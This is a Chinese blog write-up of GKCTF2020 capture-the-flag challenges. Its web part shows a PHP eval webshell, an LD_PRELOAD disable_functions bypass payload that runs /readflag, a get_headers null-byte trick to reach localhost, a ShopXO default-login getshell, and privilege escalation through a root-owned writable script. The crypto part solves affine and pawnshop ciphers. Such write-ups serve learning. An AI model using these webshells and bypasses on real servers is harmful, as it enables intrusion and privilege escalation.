GKCTF2020--部分复现(加密和web)

GKCTF2020–web

CheckIN

title>Check_In</title>
 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

查看源码,不难发现,
GKCTF2020--部分复现(加密和web)_第1张图片
有个eval()函数,并且将我们传入的参数进行base64解码再传入eval
没有任何过滤,传入ls 发现没用

phpinfo()

看看
GKCTF2020--部分复现(加密和web)_第2张图片
看到disable_function
GKCTF2020--部分复现(加密和web)_第3张图片
禁用了系统函数,我们写个马进去试试

eval($_POST[penson]);

GKCTF2020--部分复现(加密和web)_第4张图片
由于他禁用了system函数,所以用蚁剑连接看看

在这里插入图片描述
发现根目录下有个readflag
估计就是要我们绕过disabled_function了
可以通过LD_PRELOAD这个环境变量,具体原理百度都能搜到,就不放了。
POC链接
下载他的poc链接
在传文件的时候,发现/var/html/www下并没有写权限,而其他目录却有
所以我上传到/vat/tmp目录下
GKCTF2020--部分复现(加密和web)_第5张图片
然后用include()包含我们上传的php文件

include('/var/tmp/bypass_disablefunc.php');

GKCTF2020--部分复现(加密和web)_第6张图片
可以发现成功包含,利用POC执行/readflag
payload

Ginkgo=aW5jbHVkZSgnL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCcpOw==&cmd=/readflag&outpath=/tmp/xx&sopath=/var/tmp/bypass_disablefunc_x64.so

GKCTF2020--部分复现(加密和web)_第7张图片

cve版签到

题目给出了提示
GKCTF2020--部分复现(加密和web)_第8张图片
搜一波
CVE漏洞介绍
GKCTF2020--部分复现(加密和web)_第9张图片
关键在于get_headers()函数
GKCTF2020--部分复现(加密和web)_第10张图片
点一下进去
GKCTF2020--部分复现(加密和web)_第11张图片
大家应该都知道127.0.0.1是本地嘛,利用那个cve漏洞,加%00截断,访问本地进去
GKCTF2020--部分复现(加密和web)_第12张图片
他说要是123
改成123
GKCTF2020--部分复现(加密和web)_第13张图片
flag就出来了

[GKCTF2020]老八小超市儿

GKCTF2020--部分复现(加密和web)_第14张图片百度搜搜ShopXo漏洞
漏洞复现地址
进到后台直接使用默认账号密码登录
在这里插入图片描述
getshell
GKCTF2020--部分复现(加密和web)_第15张图片
就按照教程来就行了

在这里插入图片描述
看上面给的链接一步一步来就行了,不多说了
Webshell的路径为/public/static/index/default/2.php
GKCTF2020--部分复现(加密和web)_第16张图片
成功getshell
蚁剑连接
成功连接之后发现去根目录找flag,发现flag在/root目录下
GKCTF2020--部分复现(加密和web)_第17张图片
这说明我们还得提权,获得更高的权限,可以发现有个特别红的玩意,我们点进去看看
在这里插入图片描述
在这里插入图片描述
有个python脚本,并且说出了他的位置,看一下python脚本
GKCTF2020--部分复现(加密和web)_第18张图片
看的提示,说明这个脚本有root权限,属于root这个用户,并且这个脚本有写权限,

GKCTF2020--部分复现(加密和web)_第19张图片
就可以根据这个python脚本来获取flag
因为这个脚本有写权限,就可以改下脚本,读取flag

GKCTF2020--部分复现(加密和web)_第20张图片
但是呢这个脚本我们没有权限可以去执行,所以不行,回到根目录下的一个shell文件
在这里插入图片描述
GKCTF2020--部分复现(加密和web)_第21张图片
他可以执行这个脚本
那咱们运行这个shell来看看
GKCTF2020--部分复现(加密和web)_第22张图片
最终发现这个shell是可以成功运行的,flag到手

CRYPTO

小学生的密码学

GKCTF2020--部分复现(加密和web)_第23张图片
把他给出的表达式一搜,就有仿射密码
GKCTF2020--部分复现(加密和web)_第24张图片
base64编码即可

汉字的秘密

百度一搜会搜到当铺密码
当铺密码原理解释

在这里插入图片描述
然后你会发现第一个字符ascii加一就是F,第二个字符加2就是L
正好是flag
写脚本跑

a =[69,74,62,67,118,83,72,77,86,55,71,57,82,57,64,63,51,103]
str =""
j=0

for i in a:
    j += 1
    str +=chr(i+j)
    print(i)
    print(str)

在这里插入图片描述
把y改成括号即可

你可能感兴趣的:(笔记)